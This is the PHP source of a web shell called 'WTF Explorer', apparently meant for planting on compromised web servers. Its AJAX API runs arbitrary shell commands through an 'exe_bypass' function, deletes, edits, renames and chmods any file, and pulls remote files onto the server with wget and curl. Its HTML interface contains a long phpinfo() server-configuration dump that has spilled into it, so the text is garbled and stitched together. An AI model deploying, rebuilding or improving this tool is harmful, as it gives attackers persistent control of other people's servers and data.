(!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($item)+1); $zip->addFile($filePath, $relativePath); } } } } $zip->close(); return ['status'=>'ok','message'=>"Files zipped into ".basename($zipFileName)];}// Function to handle unzip actionfunction unzip_item($target, $path) { global $zip_available; if (!$zip_available) return ['status' => 'error', 'message' => 'ZipArchive extension is not enabled. Cannot unzip.']; $zip = new ZipArchive; if ($zip->open($target) === TRUE) { $extract_path = $path; // Extract to current directory if ($zip->extractTo($extract_path)) { $zip->close(); return ['status' => 'ok', 'message' => 'File unzipped successfully!']; } else { $zip->close(); return ['status' => 'error', 'message' => 'Failed to extract files. Check directory permissions.']; } } else { return ['status' => 'error', 'message' => 'Failed to open zip file.']; }}// --- AJAX API BLOCK ---if (isset($_GET['ajax'])) { header('Content-Type: application/json'); $path = get_path(); $action = isset($_GET['action']) ? $_GET['action'] : 'list'; $response = ['status' => 'error', 'message' => 'Unknown action']; switch ($action) { case 'list': $folders = []; $files = []; if (is_readable($path)) { $items = @scandir($path); if ($items) { usort($items, function($a, $b) use ($path) { $a_is_dir = is_dir($path . DIRECTORY_SEPARATOR . $a); $b_is_dir = is_dir($path . DIRECTORY_SEPARATOR . $b); if ($a_is_dir && !$b_is_dir) return -1; if (!$a_is_dir && $b_is_dir) return 1; return strcasecmp($a, $b); }); foreach ($items as $item) { if ($item == '.') continue; $full_path = $path . DIRECTORY_SEPARATOR . $item; if ($item == '..') { $folders[] = ['name' => '..', 'path' => dirname($path)]; continue; } $is_dir = is_dir($full_path); $entry = ['name' => htmlspecialchars($item), 'path' => htmlspecialchars($full_path)]; if ($is_dir) { $folders[] = $entry; } else { $entry['size'] = format_size(@filesize($full_path)); $entry['perms'] = get_perms($full_path); $entry['mtime'] = date("Y-m-d H:i:s", @filemtime($full_path)); $entry['is_writable'] = is_writable($full_path); $entry['is_zip'] = (strtolower(pathinfo($item, PATHINFO_EXTENSION)) === 'zip'); $files[] = $entry; } } } } $response = ['status' => 'ok', 'path' => htmlspecialchars($path), 'folders' => $folders, 'files' => $files]; break; case 'unzip': $target = isset($_POST['target']) ? $_POST['target'] : ''; $result = unzip_item($target, $path); $response = $result; break; case 'cmd': $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : ''; $output = exe_bypass($cmd); $response = ['status' => 'ok', 'output' => htmlspecialchars($output)]; break; case 'delete': $target = isset($_POST['target']) ? $_POST['target'] : ''; if (file_exists($target)) { if (delete_recursive($target)) $response = ['status' => 'ok', 'message' => 'Item deleted!']; else $response = ['status' => 'error', 'message' => 'Failed to delete item!']; } else $response = ['status' => 'error', 'message' => 'Item not found!']; break; case 'get_content': $file = isset($_GET['file']) ? $_GET['file'] : ''; if (is_file($file) && is_readable($file)) { $response = ['status' => 'ok', 'content' => file_get_contents($file)]; } else $response = ['status' => 'error', 'message' => 'File not readable.']; break; case 'save_content': $file = isset($_POST['file']) ? $_POST['file'] : ''; $content = isset($_POST['content']) ? $_POST['content'] : ''; if ((file_exists($file) && is_writable($file)) || (!file_exists($file) && is_writable(dirname($file)))) { if (file_put_contents($file, $content) !== false) { $response = ['status' => 'ok', 'message' => 'File saved successfully!']; } else { $response = ['status' => 'error', 'message' => 'Failed to save file!']; } } else { $response = ['status' => 'error', 'message' => 'File or directory not writable.']; } break; case 'chmod': $target = isset($_POST['target']) ? $_POST['target'] : ''; $mode = isset($_POST['mode']) ? octdec($_POST['mode']) : 0755; if (file_exists($target)) { if (@chmod($target, $mode)) $response = ['status' => 'ok', 'message' => 'Permissions changed!']; else $response = ['status' => 'error', 'message' => 'Failed to change permissions.']; } else $response = ['status' => 'error', 'message' => 'Target not found.']; break; case 'rename': $old = isset($_POST['old']) ? $_POST['old'] : ''; $new = isset($_POST['new']) ? dirname($old) . DIRECTORY_SEPARATOR . $_POST['new'] : ''; if (file_exists($old) && $new) { if (@rename($old, $new)) $response = ['status' => 'ok', 'message' => 'Item renamed successfully!']; else $response = ['status' => 'error', 'message' => 'Failed to rename item.']; } else $response = ['status' => 'error', 'message' => 'Invalid input.']; break; case 'create': $type = isset($_POST['type']) ? $_POST['type'] : ''; $name = isset($_POST['name']) ? $_POST['name'] : ''; $target_path = $path . DIRECTORY_SEPARATOR . $name; if ($type && $name) { if (file_exists($target_path)) { $response = ['status' => 'error', 'message' => 'Name already exists!']; } else { if ($type === 'file' && @touch($target_path)) { $response = ['status' => 'ok', 'message' => 'File created successfully!']; } elseif ($type === 'dir' && @mkdir($target_path)) { $response = ['status' => 'ok', 'message' => 'Directory created successfully!']; } else $response = ['status' => 'error', 'message' => 'Failed to create, check permissions.']; } } else { $response = ['status' => 'error', 'message' => 'Invalid input.']; } break; case 'upload_multiple': $results = []; $totalFiles = count($_FILES['files']['name']); for ($i = 0; $i < $totalFiles; $i++) { if ($_FILES['files']['error'][$i] === UPLOAD_ERR_OK) { $uploadPath = $path . DIRECTORY_SEPARATOR . basename($_FILES['files']['name'][$i]); if (move_uploaded_file($_FILES['files']['tmp_name'][$i], $uploadPath)) { $results[] = ['name' => $_FILES['files']['name'][$i], 'status' => 'ok']; } else { $results[] = ['name' => $_FILES['files']['name'][$i], 'status' => 'error']; } } else { $results[] = ['name' => $_FILES['files']['name'][$i], 'status' => 'error']; } } $response = ['status' => 'ok', 'results' => $results, 'message' => "Uploaded $totalFiles files"]; break; case 'bulk_delete': $targets = isset($_POST['targets']) ? json_decode($_POST['targets'], true) : []; $deletedCount = 0; $failed = []; foreach ($targets as $target) { if (delete_recursive($target)) { $deletedCount++; } else { $failed[] = basename($target); } } if ($deletedCount > 0) { $msg = "Successfully deleted $deletedCount item(s)."; if (!empty($failed)) $msg .= " Failed to delete: " . implode(', ', $failed); $response = ['status' => 'ok', 'message' => $msg]; } else { $response = ['status' => 'error', 'message' => 'No items were deleted.']; } break; case 'bulk_zip': $targets = isset($_POST['targets']) ? json_decode($_POST['targets'], true) : []; $zipName = isset($_POST['zip_name']) ? $_POST['zip_name'] : 'archive_' . time() . '.zip'; $zipPath = $path . DIRECTORY_SEPARATOR . basename($zipName); $result = zip_items($targets, $zipPath); $response = $result; break; case 'get_server_info': $total_space = @disk_total_space(get_path()); $free_space = @disk_free_space(get_path()); $response = [ 'status' => 'ok', 'os' => Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64, 'php_version' => PHP_VERSION, 'user' => get_current_user(), 'server_ip' => @$_SERVER['SERVER_ADDR'], 'disabled_functions' => ini_get('disable_functions') ?: 'None', 'total_space' => $total_space ? format_size($total_space) : 'N/A', 'free_space' => $free_space ? format_size($free_space) : 'N/A' ]; break; case 'upload_wget': $url = isset($_POST['url']) ? $_POST['url'] : ''; $filename = isset($_POST['filename']) && !empty($_POST['filename']) ? $_POST['filename'] : basename($url); $target_path = $path . DIRECTORY_SEPARATOR . $filename; $cmd = "wget -O " . escapeshellarg($target_path) . " " . escapeshellarg($url); $output = exe_bypass($cmd); if (file_exists($target_path) && filesize($target_path) > 0) { $response = ['status' => 'ok', 'message' => "File downloaded via wget!\nOutput:\n$output"]; } else { @unlink($target_path); $response = ['status' => 'error', 'message' => "Failed to download file.\nOutput:\n$output"]; } break; case 'upload_curl': $url = isset($_POST['url']) ? $_POST['url'] : ''; $filename = isset($_POST['filename']) && !empty($_POST['filename']) ? $_POST['filename'] : basename($url); $target_path = $path . DIRECTORY_SEPARATOR . $filename; $cmd = "curl -L -o " . escapeshellarg($target_path) . " " . escapeshellarg($url); $output = exe_bypass($cmd); if (file_exists($target_path) && filesize($target_path) > 0) { $response = ['status' => 'ok', 'message' => "File downloaded via curl!\nOutput:\n$output"]; } else { @unlink($target_path); $response = ['status' => 'error', 'message' => "Failed to download file.\nOutput:\n$output"]; } break; case 'upload_raw': $filename = isset($_POST['filename']) ? $_POST['filename'] : ''; $content = isset($_POST['content']) ? $_POST['content'] : ''; $target_path = $path . DIRECTORY_SEPARATOR . $filename; if (empty($filename)) { $response = ['status' => 'error', 'message' => 'Filename cannot be empty!']; break; } if ((file_exists($target_path) && is_writable($target_path)) || (!file_exists($target_path) && is_writable($path))) { if (file_put_contents($target_path, $content) !== false) { $response = ['status' => 'ok', 'message' => 'Raw file created successfully!']; } else { $response = ['status' => 'error', 'message' => 'Failed to save file!']; } } else { $response = ['status' => 'error', 'message' => 'File or directory not writable.']; } break; default: $response = ['status' => 'error', 'message' => 'Invalid action!']; break; } echo json_encode($response); exit();}<html lang="en"> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0">WTF Explorer - 6ickZone <title>WTF Explorer - 6ickZone</title> <link href="https://fonts.googleapis.com/css2?family=Roboto+Mono:wght@400;700&display=swap" rel="stylesheet"> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css" rel="stylesheet"> <style> :root { /* --- Theme--- */ --bg: #0d1117; --sidebar-bg: #161b22; --text: #c9d1d9; --muted: #8b949e; --border: #30363d; --accent: #58a6ff; --hover: #1f6feb; --success: #2da44e; --error: #f85149; --font: 'Roboto Mono', monospace; } /* --- BASE STYLES --- */ body { font-family: var(--font); background: var(--bg); color: var(--text); margin: 0; font-size: 14px; } a { color: var(--accent); text-decoration: none; } a:hover { color: var(--hover); } /* Styling tombol default (ini yang perlu di-override) */ button, .button { background: var(--accent); border: black; padding: 8px 15px; cursor: pointer; color: #fff; font-weight: bold; border-radius: 4px; } button:hover, .button:hover { background: var(--hover); } /* --- LAYOUT & STRUCTURE --- */ .container { display: flex; height: 100vh; } .main-content { flex-grow: 1; display: flex; flex-direction: column; } /* --- SIDEBAR --- */ .sidebar { width: 25%; max-width: 350px; min-width: 250px; background: var(--sidebar-bg); border-right: 1px solid var(--border); display: flex; flex-direction: column; } .sidebar-header { padding: 15px; border-bottom: 1px solid var(--border); overflow-y: auto; } .sidebar-content { padding: 15px; overflow-y: auto; flex-grow: 1; border-bottom: 1px solid var(--border); } .sidebar-footer { padding: 15px; overflow-y: auto; max-height: 250px; } /* Folder List */ .folder-list a { display: block; padding: 8px; border-radius: 4px; margin-bottom: 2px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .folder-list a:hover { background: var(--border); } /* Upload Zone */ .upload-zone { border: 2px dashed var(--border); border-radius: 8px; padding: 30px; text-align: center; margin-bottom: 15px; cursor: pointer; transition: all 0.3s; } .upload-zone:hover { border-color: var(--accent); background: rgba(88, 166, 255, 0.05); } .system-info { background: var(--bg); padding: 10px; border-radius: 5px; margin-top: 20px; max-height: 200px; overflow-y: auto; font-size: 14px; line-height: 1.4; } /* --- TOP BAR (Path & CMD) --- */ .top-bar { display: flex; align-items: center; padding: 10px 15px; background: var(--sidebar-bg); border-bottom: 1px solid var(--border); } /* Path Actions (Refresh, dll.) */ .path-actions button { background: none; border: 1px solid var(--border); color: var(--text); padding: 5px 10px; margin-right: 5px; cursor: pointer; border-radius: 4px; } .path-actions button:hover { background: var(--border); color: var(--accent); } /* Path Bar */ .path-bar-container { flex-grow: 1; background: var(--bg); border: 1px solid var(--border); border-radius: 4px; padding: 5px 10px; cursor: text; } .path-bar { white-space: nowrap; overflow-x: auto; } .path-bar.hidden, #path-input.hidden { display: none; } #path-input { width: 100%; background: transparent; border: none; color: var(--text); padding: 0; margin: 0; font-size: 1em; font-family: var(--font); } .path-part { color: var(--accent); cursor: pointer; } .path-part:hover { color: var(--hover); } .path-sep { margin: 0 5px; color: var(--muted); } /* CMD Execution */ .cmd-container { padding: 15px; background: var(--sidebar-bg); border-bottom: 1px solid var(--border); } #cmd-form { display: flex; gap: 10px; } #cmd-input { flex-grow: 1; } #cmd-output { margin-top: 10px; background: var(--bg); padding: 10px; border-radius: 4px; max-height: 25vh; overflow-y: auto; white-space: pre-wrap; word-wrap: break-word; } /* --- FILE LIST & TABLE --- */ .file-list-container { overflow-y: auto; flex-grow: 1; } .file-table { width: 100%; border-collapse: collapse; } .file-table th, .file-table td { padding: 10px 15px; text-align: left; border-bottom: 1px solid var(--border); } .file-table th { font-weight: 700; color: var(--muted); } .file-table tr:hover { background: rgba(88, 166, 255, 0.1); } /* ICONS & PERMISSIONS */ .fa-solid.fa-folder, .fa-solid.fa-arrow-up { color: #58a6ff; margin-right: 8px; } .fa-regular.fa-file-lines { color: #8b949e; margin-right: 8px; } .fa-solid.fa-file-zipper { color: #f1c40f; margin-right: 8px; } .perms.writable { color: var(--success); } .perms.not-writable { color: var(--error); } /* INPUTS & MODALS */ .modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.7); display: none; justify-content: center; align-items: center; z-index: 1000; } .modal-content { background: var(--sidebar-bg); padding: 20px; border-radius: 5px; border: 1px solid var(--border); min-width: 50vw; max-width: 80vw; } .modal-content h3 { margin-top: 0; } textarea { width: 100%; height: 40vh; background: var(--bg); color: var(--text); border: 1px solid var(--border); font-family: var(--font); box-sizing: border-box; } input[type=text], input[type=file] { background: var(--bg); border: 1px solid var(--border); color: var(--text); padding: 8px; border-radius: 4px; box-sizing: border-box; } /* TOAST NOTIFICATION */ .toast-notification { position: fixed; bottom: 20px; left: 50%; transform: translateX(-50%); padding: 10px 20px; border-radius: 5px; color: #fff; font-weight: bold; z-index: 2000; opacity: 0; transition: opacity 0.5s, bottom 0.5s; } .toast-notification.show { opacity: 1; bottom: 40px; } .toast-notification.success { background: var(--success); } .toast-notification.error { background: var(--error); } /* --- CUSTOM: BULK ACTIONS & ACTIONS MENU (Header) --- */ .bulk-actions { background: none !important; border: none !important; padding: 10px 15px 10px 15px !important; } .bulk-actions input[type=checkbox] { width: auto; margin: 0; vertical-align: middle; } .bulk-actions button { background: none !important; border: 1px solid var(--border); color: var(--text) !important; font-weight: normal; padding: 5px 10px; border-radius: 4px; transition: all 0.2s; } /* Bulk Delete */ #bulk-delete-btn { border-color: var(--error); color: var(--error) !important; } #bulk-delete-btn:hover { background: rgba(248, 81, 73, 0.1) !important; } /* Bulk Zip */ #bulk-zip-btn { border-color: var(--success); color: var(--success) !important; } #bulk-zip-btn:hover { background: rgba(45, 164, 78, 0.1) !important; } /* ACTIONS MENU (Sidebar) */ .actions-menu button, .actions-menu a { background: none !important; border: none !important; color: var(--text); padding: 0; margin: 0 5px; font-size: 1em; cursor: pointer; text-decoration: none; outline: none; } .actions-menu button:hover, .actions-menu a:hover { color: var(--accent); background: none !important; } .file-table td.actions-menu button, .file-table td.actions-menu a { background: none !important; border: none !important; color: var(--muted) !important; padding: 0 4px !important; margin: 0; font-weight: normal !important; transition: color 0.2s, text-shadow 0.2s; } .file-table td.actions-menu button:hover, .file-table td.actions-menu a:hover, .file-table td.actions-menu button:focus, .file-table td.actions-menu a:focus { color: var(--accent) !important; /* Calm Glow Effect */ text-shadow: 0 0 5px rgba(88, 166, 255, 0.7); background: none !important; } /* Custom warna untuk Delete (X) */ .file-table td.actions-menu button[title="Delete"] { color: var(--error) !important; } /* Custom warna dan glow untuk Delete saat hover */ .file-table td.actions-menu button[title="Delete"]:hover { color: #ff9999 !important; text-shadow: 0 0 5px rgba(248, 81, 73, 0.7); } /* --- MOBILE RESPONSIVENESS --- */ @media (max-width: 768px) { .container { flex-direction: column; } .sidebar { width: 100%; max-width: none; min-width: 100%; border-right: none; border-bottom: 1px solid var(--border); } .top-bar { flex-wrap: wrap; } .path-actions { order: 2; margin-top: 10px; width: 100%; } .path-bar-container { order: 1; } .file-table thead { display: none; } .file-table td { display: block; text-align: right; padding-left: 10px; } .file-table td:before { content: attr(data-label); float: left; font-weight: bold; color: var(--muted); } .file-table tr { display: block; margin-bottom: 10px; border: 1px solid var(--border); border-radius: 4px; } .actions-menu { text-align: right; border-top: 1px solid var(--border); padding-top: 5px; margin-top: 5px; } }</style><div class="container"> <div class="sidebar"> <div class="sidebar-header">

<i class="fa-solid fa-terminal"></i>you just do WTF you want to

<div style="font-size: 12px;"><a href="?logout=1">Logout</a></div> <div class="upload-zone" id="upload-zone"> <i class="fa-solid fa-cloud-arrow-up"></i> <div>Drag & Drop Files Here</div> <div style="font-size:0.8em; margin-top:5px;">or click to select</div> </div> <div class="upload-progress" id="upload-progress" style="display:none;"> <div class="progress-bar"> <div class="progress-fill" id="overall-progress" style="width:0%"></div> </div> <div class="upload-stats" id="upload-stats">Ready to upload...</div> <button type="button" id="upload-btn" style="width:100%; margin-top:10px;">Upload All Files</button> <div class="file-list" id="upload-file-list"></div> </div> <div class="upload-methods" style="margin-top: 20px;"> <h4 style="border-bottom: 1px solid var(--border); padding-bottom: 5px;">Alternative Uploads</h4>
<button type="submit" style="width:100%;"><i class="fa-solid fa-download"></i> Upload via wget</button>
<button type="submit" style="width:100%;"><i class="fa-solid fa-network-wired"></i> Upload via curl</button>
<textarea name="raw_content" id="raw-content" placeholder="&lt;?php phpinfo()
PHP logo

PHP Version 7.2.12

System Linux Beneri 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64
Build Date Nov 14 2018 22:25:43
Configure Command './configure' '--prefix=/opt/lampp' '--with-apxs2=/opt/lampp/bin/apxs' '--with-config-file-path=/opt/lampp/etc' '--with-mysql=mysqlnd' '--enable-inline-optimization' '--disable-debug' '--enable-bcmath' '--enable-calendar' '--enable-ctype' '--enable-ftp' '--enable-gd-native-ttf' '--enable-magic-quotes' '--enable-shmop' '--disable-sigchild' '--enable-sysvsem' '--enable-sysvshm' '--enable-wddx' '--with-gdbm=/opt/lampp' '--with-jpeg-dir=/opt/lampp' '--with-png-dir=/opt/lampp' '--with-freetype-dir=/opt/lampp' '--with-zlib=yes' '--with-zlib-dir=/opt/lampp' '--with-openssl=/opt/lampp' '--with-xsl=/opt/lampp' '--with-ldap=/opt/lampp' '--with-gd' '--with-imap=/bitnami/xamppunixinstaller72stack-linux-x64/src/imap-2007e' '--with-imap-ssl' '--with-gettext=/opt/lampp' '--with-mssql=shared,/opt/lampp' '--with-pdo-dblib=shared,/opt/lampp' '--with-sybase-ct=/opt/lampp' '--with-mysql-sock=/opt/lampp/var/mysql/mysql.sock' '--with-mcrypt=/opt/lampp' '--with-mhash=/opt/lampp' '--enable-sockets' '--enable-mbstring=all' '--with-curl=/opt/lampp' '--enable-mbregex' '--enable-zend-multibyte' '--enable-exif' '--with-bz2=/opt/lampp' '--with-sqlite=shared,/opt/lampp' '--with-sqlite3=/opt/lampp' '--with-libxml-dir=/opt/lampp' '--enable-soap' '--with-xmlrpc' '--enable-pcntl' '--with-mysqli=mysqlnd' '--with-pgsql=shared,/opt/lampp/' '--with-iconv=/opt/lampp' '--with-pdo-mysql=mysqlnd' '--with-pdo-pgsql=/opt/lampp/postgresql' '--with-pdo_sqlite=/opt/lampp' '--with-icu-dir=/opt/lampp' '--enable-fileinfo' '--enable-phar' '--enable-zip' '--enable-intl' '--disable-huge-code-pages'
Server API Apache 2.0 Handler
Virtual Directory Support disabled
Configuration File (php.ini) Path /opt/lampp/etc
Loaded Configuration File /opt/lampp/etc/php.ini
Scan this dir for additional .ini files (none)
Additional .ini files parsed (none)
PHP API 20170718
PHP Extension 20170718
Zend Extension 320170718
Zend Extension Build API320170718,NTS
PHP Extension Build API20170718,NTS
Debug Build no
Thread Safety disabled
Zend Signal Handling enabled
Zend Memory Manager enabled
Zend Multibyte Support provided by mbstring
IPv6 Support enabled
DTrace Support disabled
Registered PHP Streamshttps, ftps, compress.zlib, compress.bzip2, php, file, glob, data, http, ftp, phar, zip
Registered Stream Socket Transportstcp, udp, unix, udg, ssl, sslv3, tls, tlsv1.0, tlsv1.1, tlsv1.2
Registered Stream Filterszlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk
Zend logo This program makes use of the Zend Scripting Language Engine:
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies

Configuration

apache2handler

Apache Version Apache/2.4.37 (Unix) OpenSSL/1.0.2p PHP/7.2.12 mod_perl/2.0.8-dev Perl/v5.16.3
Apache API Version 20120211
Server Administrator you@example.com
Hostname:Port localhost:0
User/Group daemon(1)/1
Max Requests Per Child: 0 - Keep Alive: on - Max Per Connection: 100
Timeouts Connection: 300 - Keep-Alive: 5
Virtual Server No
Server Root /opt/lampp
Loaded Modules core mod_so http_core prefork mod_authn_file mod_authn_dbm mod_authn_anon mod_authn_dbd mod_authn_socache mod_authn_core mod_authz_host mod_authz_groupfile mod_authz_user mod_authz_dbm mod_authz_owner mod_authz_dbd mod_authz_core mod_authnz_ldap mod_access_compat mod_auth_basic mod_auth_form mod_auth_digest mod_allowmethods mod_file_cache mod_cache mod_cache_disk mod_socache_shmcb mod_socache_dbm mod_socache_memcache mod_dbd mod_bucketeer mod_dumpio mod_echo mod_case_filter mod_case_filter_in mod_buffer mod_ratelimit mod_reqtimeout mod_ext_filter mod_request mod_include mod_filter mod_substitute mod_sed mod_charset_lite mod_deflate mod_mime util_ldap mod_log_config mod_log_debug mod_logio mod_env mod_mime_magic mod_cern_meta mod_expires mod_headers mod_usertrack mod_unique_id mod_setenvif mod_version mod_remoteip mod_proxy mod_proxy_connect mod_proxy_ftp mod_proxy_http mod_proxy_fcgi mod_proxy_scgi mod_proxy_ajp mod_proxy_balancer mod_proxy_express mod_session mod_session_cookie mod_session_dbd mod_slotmem_shm mod_ssl mod_lbmethod_byrequests mod_lbmethod_bytraffic mod_lbmethod_bybusyness mod_lbmethod_heartbeat mod_unixd mod_dav mod_status mod_autoindex mod_info mod_suexec mod_cgi mod_cgid mod_dav_fs mod_vhost_alias mod_negotiation mod_dir mod_actions mod_speling mod_userdir mod_alias mod_rewrite mod_php7 mod_perl
DirectiveLocal ValueMaster Value
engine11
last_modified00
xbithack00

Apache Environment

VariableValue
UNIQUE_ID YDlOkssB3wvo4Pi5fDI0rwAAAAA
HTTP_HOST localhost
HTTP_USER_AGENT Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
HTTP_ACCEPT text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
HTTP_ACCEPT_LANGUAGE en-US,en;q=0.5
HTTP_ACCEPT_ENCODING gzip, deflate
HTTP_CONNECTION keep-alive
HTTP_UPGRADE_INSECURE_REQUESTS 1
HTTP_CACHE_CONTROL max-age=0
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
LD_LIBRARY_PATH /opt/lampp/lib:/opt/lampp/lib
SERVER_SIGNATURE no value
SERVER_SOFTWARE Apache/2.4.37 (Unix) OpenSSL/1.0.2p PHP/7.2.12 mod_perl/2.0.8-dev Perl/v5.16.3
SERVER_NAME localhost
SERVER_ADDR 127.0.0.1
SERVER_PORT 80
REMOTE_ADDR 127.0.0.1
DOCUMENT_ROOT /opt/lampp/htdocs
REQUEST_SCHEME http
CONTEXT_PREFIX no value
CONTEXT_DOCUMENT_ROOT /opt/lampp/htdocs
SERVER_ADMIN you@example.com
SCRIPT_FILENAME /opt/lampp/htdocs/test.php
REMOTE_PORT 35610
GATEWAY_INTERFACE CGI/1.1
SERVER_PROTOCOL HTTP/1.1
REQUEST_METHOD GET
QUERY_STRING no value
REQUEST_URI /test.php
SCRIPT_NAME /test.php

HTTP Headers Information

HTTP Request Headers
HTTP Request GET /test.php HTTP/1.1
Host localhost
User-Agent Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language en-US,en;q=0.5
Accept-Encoding gzip, deflate
Connection keep-alive
Upgrade-Insecure-Requests 1
Cache-Control max-age=0
HTTP Response Headers
X-Powered-By PHP/7.2.12

bcmath

BCMath support enabled
DirectiveLocal ValueMaster Value
bcmath.scale00

bz2

BZip2 Support Enabled
Stream Wrapper support compress.bzip2://
Stream Filter support bzip2.decompress, bzip2.compress
BZip2 Version 1.0.6, 6-Sept-2010

calendar

Calendar support enabled

Core

PHP Version 7.2.12
DirectiveLocal ValueMaster Value
allow_url_fopenOnOn
allow_url_includeOffOff
arg_separator.input&&
arg_separator.output&&
auto_append_fileno valueno value
auto_globals_jitOnOn
auto_prepend_fileno valueno value
browscapno valueno value
default_charsetUTF-8UTF-8
default_mimetypetext/htmltext/html
disable_classesno valueno value
disable_functionsno valueno value
display_errorsOnOn
display_startup_errorsOnOn
doc_rootno valueno value
docref_extno valueno value
docref_rootno valueno value
enable_dlOffOff
enable_post_data_readingOnOn
error_append_stringno valueno value
error_log/opt/lampp/logs/php_error_log/opt/lampp/logs/php_error_log
error_prepend_stringno valueno value
error_reporting2252722527
expose_phpOnOn
extension_dir/opt/lampp/lib/php/extensions/no-debug-non-zts-20170718/opt/lampp/lib/php/extensions/no-debug-non-zts-20170718
file_uploadsOnOn
hard_timeout22
highlight.comment#FF8000#FF8000
highlight.default#0000BB#0000BB
highlight.html#000000#000000
highlight.keyword#007700#007700
highlight.string#DD0000#DD0000
html_errorsOnOn
ignore_repeated_errorsOffOff
ignore_repeated_sourceOffOff
ignore_user_abortOffOff
implicit_flushOffOff
include_path.:/opt/lampp/lib/php.:/opt/lampp/lib/php
input_encodingno valueno value
internal_encodingno valueno value
log_errorsOnOn
log_errors_max_len10241024
mail.add_x_headerOnOn
mail.force_extra_parametersno valueno value
mail.logno valueno value
max_execution_time60006000
max_file_uploads2020
max_input_nesting_level6464
max_input_time60006000
max_input_vars10001000
memory_limit1000M1000M
open_basedirno valueno value
output_buffering40964096
output_encodingno valueno value
output_handlerno valueno value
post_max_size128M128M
precision1414
realpath_cache_size4096K4096K
realpath_cache_ttl120120
register_argc_argvOffOff
report_memleaksOnOn
report_zend_debugOnOn
request_orderGPGP
sendmail_fromno valueno value
sendmail_path -t -i  -t -i 
serialize_precision100100
short_open_tagOnOn
SMTPlocalhostlocalhost
smtp_port2525
sys_temp_dirno valueno value
track_errorsOnOn
unserialize_callback_funcno valueno value
upload_max_filesize128M128M
upload_tmp_dir/opt/lampp/temp//opt/lampp/temp/
user_dirno valueno value
user_ini.cache_ttl300300
user_ini.filename.user.ini.user.ini
variables_orderGPCSGPCS
xmlrpc_error_number00
xmlrpc_errorsOffOff
zend.assertions11
zend.detect_unicodeOnOn
zend.enable_gcOnOn
zend.multibyteOffOff
zend.script_encodingno valueno value
zend.signal_checkOffOff

ctype

ctype functions enabled

curl

cURL support enabled
cURL Information 7.45.0
Age 3
Features
AsynchDNS No
CharConv No
Debug No
GSS-Negotiate No
IDN No
IPv6 Yes
krb4 No
Largefile Yes
libz Yes
NTLM Yes
NTLMWB Yes
SPNEGO No
SSL Yes
SSPI No
TLS-SRP Yes
HTTP2 No
GSSAPI No
KERBEROS5 No
UNIX_SOCKETS Yes
Protocols dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, ldaps, pop3, pop3s, rtsp, smb, smbs, smtp, smtps, telnet, tftp
Host x86_64-pc-linux-gnu
SSL Version OpenSSL/1.0.2p
ZLib Version 1.2.11

date

date/time support enabled
timelib version 2017.08
"Olson" Timezone Database Version 2018.6
Timezone Database internal
Default timezone Europe/Berlin
DirectiveLocal ValueMaster Value
date.default_latitude31.766731.7667
date.default_longitude35.233335.2333
date.sunrise_zenith90.58333390.583333
date.sunset_zenith90.58333390.583333
date.timezoneEurope/BerlinEurope/Berlin

dba

DBA support enabled
Supported handlers gdbm cdb cdb_make inifile flatfile
DirectiveLocal ValueMaster Value
dba.default_handlerflatfileflatfile

dom

DOM/XML enabled
DOM/XML API Version 20031129
libxml Version 2.9.4
HTML Support enabled
XPath Support enabled
XPointer Support enabled
Schema Support enabled
RelaxNG Support enabled

exif

EXIF Support enabled
EXIF Version 7.2.12
Supported EXIF Version 0220
Supported filetypes JPEG, TIFF
Multibyte decoding support using mbstring enabled
Extended EXIF tag formats Canon, Casio, Fujifilm, Nikon, Olympus, Samsung, Panasonic, DJI, Sony, Pentax, Minolta, Sigma, Foveon, Kyocera, Ricoh, AGFA, Epson
DirectiveLocal ValueMaster Value
exif.decode_jis_intelJISJIS
exif.decode_jis_motorolaJISJIS
exif.decode_unicode_intelUCS-2LEUCS-2LE
exif.decode_unicode_motorolaUCS-2BEUCS-2BE
exif.encode_jisno valueno value
exif.encode_unicodeISO-8859-15ISO-8859-15

fileinfo

fileinfo support enabled
version 1.0.5
libmagic 531

filter

Input Validation and Filtering enabled
Revision $Id: 5a34caaa246b9df197f4b43af8ac66a07464fe4b $
DirectiveLocal ValueMaster Value
filter.defaultunsafe_rawunsafe_raw
filter.default_flagsno valueno value

ftp

FTP support enabled
FTPS support enabled

gd

GD Support enabled
GD Version bundled (2.1.0 compatible)
FreeType Support enabled
FreeType Linkage with freetype
FreeType Version 2.4.8
GIF Read Support enabled
GIF Create Support enabled
JPEG Support enabled
libJPEG Version 8
PNG Support enabled
libPNG Version 1.5.26
WBMP Support enabled
XBM Support enabled
DirectiveLocal ValueMaster Value
gd.jpeg_ignore_warning11

gettext

GetText Support enabled

hash

hash support enabled
Hashing Engines md2 md4 md5 sha1 sha224 sha256 sha384 sha512/224 sha512/256 sha512 sha3-224 sha3-256 sha3-384 sha3-512 ripemd128 ripemd160 ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost gost-crypto adler32 crc32 crc32b fnv132 fnv1a32 fnv164 fnv1a64 joaat haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5
MHASH support Enabled
MHASH API Version Emulated Support

iconv

iconv support enabled
iconv implementation glibc
iconv library version 1.15
DirectiveLocal ValueMaster Value
iconv.input_encodingno valueno value
iconv.internal_encodingno valueno value
